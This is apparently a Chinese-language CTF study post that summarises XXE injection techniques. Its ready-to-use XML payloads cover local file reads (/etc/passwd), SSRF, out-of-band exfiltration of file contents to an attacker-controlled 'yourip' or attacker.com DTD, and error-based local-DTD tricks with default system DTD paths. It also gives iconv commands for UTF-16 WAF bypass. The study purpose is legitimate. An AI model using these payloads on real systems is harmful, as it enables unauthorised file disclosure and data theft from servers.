前言
写这篇的原因是 OGEEK 上一道 LOCAL DTD 的题目,查了一些资料,想赛后整理一下,不过发现 K0rz3n 大佬写的实在是太详细了,我补充的内容也多是引用性的内容,大佬们看到这里就不用继续了。
在最前面贴一下 一篇文章带你深入理解漏洞之 XXE 漏洞,建议看一遍这篇文章,常见的 XXE 都有介绍,而且很详细。本篇针对 CTF 题目的利用简单总结了一下,另外加了 exploiting-xxe-with-local-dtd-files 的内容,如果这些内容都熟悉的话,那本篇基础总结也就没必要细看了。
背景知识
之前的文章对基础知识部分讲的很详细了,我就不搬过来了,简单强调一点内容。
当请求提交内容符合 XML 格式时,需要注意有没有 XXE(XML External Entity Injection) 漏洞,主要是因为程序在解析输入的 XML 数据时,解析了攻击者伪造的外部实体而产生的。
例如 PHP 中的 simplexml_load 默认情况下会解析外部实体,有 XXE 漏洞的标志性函数为 simplexml_load_string()
。
在不同的语言中,支持的协议不同:
而在 PHP 中,一些特殊的协议需要安装相应的扩展:
注意:
1.其中从2012年9月开始,Oracle JDK 版本中删除了对 gopher 协议的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持,libxml2.9.1及以后,默认不解析外部实体
XXE
Readfile
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
但是在读含标签的文件时会因为 XML 解析异常而无法正常显示,如果是 php 环境那么可以使用 php wrapper 来读
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
]>
<foo>&xxe;</foo>
如果是其他环境,可以考虑 PHP 环境下使用伪协议来对内容编码,如 php://filter/convert.base64-encode/resource=
,或者使用 CDATA 来避免解析。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
# evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
SSRF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt" >
]>
<foo>&xxe;</foo>
Blind XXE
OOB Readfile
外部实体可以通过请求内部文件 uri 获得内部文件内容,那么这样的话可以写两个外部参数实体,第一个用 file 协议请求本地文件并将内容保存在参数实体中,第二个用 http 或者 ftp 协议请求自己的服务器并带上文件内容。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://yourip/evil.dtd">
%remote;
%send;
]>
# evil.dtd
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://yourip:2345/%file;'>">
%int;
]>
Error with Local DTD
首先看一下报错 XXE。
Request
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
%ext;
]>
<message></message>
Contents of ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Response
java.io.FileNotFoundException: /nonexistent/
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
(No such file or directory)
显而易见,这里利用了文件路径不存在这个报错来将内容打印出来,但是这里仍然使用的远程服务器的 DTD 文件。
但是,当你的服务器和目标服务器之间有防火墙时,就没办法引用 VPS 上的 DTD 文件了。而如果直接将远程 DTD 文件写在请求中
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<message></message>
会爆出错误 Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.
即我们不能在 DTD 内部包含参数实体 file
。
在内部DTD集中,参数实体的引用不能存在于标记的声明中(这并不适用于外部的参数实体中)。这意味着,协议本身就必须要求不能在内部的实体声明中引用参数,要想在内部DTD子集中使用外部DTD语法,可以在目标主机上引用本地 DTD 文件,并在其中重新定义参数实体引用,这样就可以避开“实体声明”这个限制。
Request
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>any text</message>
sip-app_1_0.dtd 文件内容:
…
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
…
可以发现我们使用了本地 DTD 文件中的参数实体,并且在请求中对实体进行了重新定义(注意:为了闭合括号加入了额外的内容),这样在请求中对外部实体进行了解析,并且成功触发报错。至于如何寻找 DTD 文件,在知道对方环境的情况下,可以复现环境来搜索 DTD 文件,或者尝试默认的 DTD 文件,这里给出两个默认的文件,其他内容可翻阅引用 2 部分。
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。
此外:
- 针对 Google CTF 出现的一道题目,引用 5 中给出了嵌套实体的构造过程
- 针对实际情况中出现的情况,引用 4 中给出了通过利用本地网络服务来加载 DTD 文件的思路。
- 额外补充针对 SOAP 请求下的 XXE,可见引用 7 Pass the SOAP 部分。
- P 神在知识星球分享了 php + libxml 2.8.0 环境下不需要加载本地 DTD 文件的方法
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % NUMBER ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %NUMBER; ]> <message>any text</message>
Filter bypass
在 CSAW2019 中,有一个定位为简单的 XXE 题目,对多个关键词进行了过滤。在这部分我们主要关注 XML 支持的编码方式,并利用这些编码方式来绕过对内容的检测。
我们常用的编码,即 UTF-8 编码,使用了可变长度从而兼容了 ASCII,而 UTF-16 一般是定长的,但也因此不能直接被当做 ASCII 解析。(题外话)与配合 .htaccess 上传 UTF-16 编码 php 的绕过方式类似,这里也可以使用相似方式。
这里直接引用原博主[6]的例子
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">
%xxe;
]>
<root>
<method>test</method>
</root>
可以将如上的 payload 进行转码
cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml
或者使用另一种方法。思路是在同一个文档里同时使用两种编码,从而迷惑 WAF。直接用生成的命令来说明:
echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml
头部声明使用 UTF-8 编码,而之后使用 UTF-16 编码。
When a parser reads an encoding from the XML-declaration, the parser immediately switches to it.
Including one when the new encoding isn’t compatible with the encoding in which the XML-declaration was written.
WAFs don’t support parsing of such multi-encoded documents for now.
当解析器读到 XML 声明的编码时,会切换到该编码(继续解析),即使该编码与声明部分所使用的编码不同。与此同时,WAF 一般不支持这种多种编码的 XML 文档。
Ref
1.一篇文章带你深入理解漏洞之 XXE 漏洞
2.exploiting-xxe-with-local-dtd-files
3.PayloadsAllTheThings/XXE Injection
4.从 blind XXE 到读取根目录文件
5.Blind XXE详解与Google CTF一道题分析
6.Evil XML with two encodings
7.A Deep Dive into XXE Injection